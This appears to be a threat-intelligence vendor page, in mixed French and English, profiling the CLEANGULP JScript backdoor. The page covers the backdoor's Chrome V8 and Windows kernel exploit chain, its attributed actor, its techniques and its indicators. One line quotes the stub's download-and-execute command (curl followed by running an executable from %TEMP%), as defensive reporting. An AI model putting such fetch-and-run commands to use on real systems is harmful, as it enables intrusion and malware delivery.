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Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
CVE-2026-87491 : Échappement de sandbox WebAssembly dans Chrome V8.
CVE-2026-85880 : Élévation de privilèges noyau Windows via RtlpCreateServerAcl.
Trois vulnérabilités critiques ont été enchaînées : CVE-2026-85046 : Type Confusion dans le moteur JavaScript V8 de Chrome.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
18 distinct techniques documented for this family, organized by ATT&CK tactic.
CLEANGULP (alias GRIMWEDGE) : Backdoor JScript modulaire ... Capacités : ... exécution de commandes arbitraires.
The browser-process injection stub executes: cmd.exe /c curl ... && "%TEMP%\msgbox.exe".
The final exploit payload is shellcode to perform browser process injection and payload download; CVE-2026-85880 is used to inject code into the Chrome browser process.
19 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A JScript backdoor deployed by UTA0560 following exploitation of the Chrome and Windows exploit chain.
An in-memory JScript backdoor executed inside msiexec.exe. It provides host reconnaissance, file and process management, command execution, payload delivery, and file-upload capabilities.
An obfuscated JavaScript backdoor delivered through the BlueMoon Chrome/Windows exploit chain. It persistently polls its C2 server for commands, performs host reconnaissance, file and process operations, executes commands in memory, and can receive and write additional payloads.
JScript backdoor that performs host reconnaissance, file and process management, command execution, and delivery of additional payloads.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.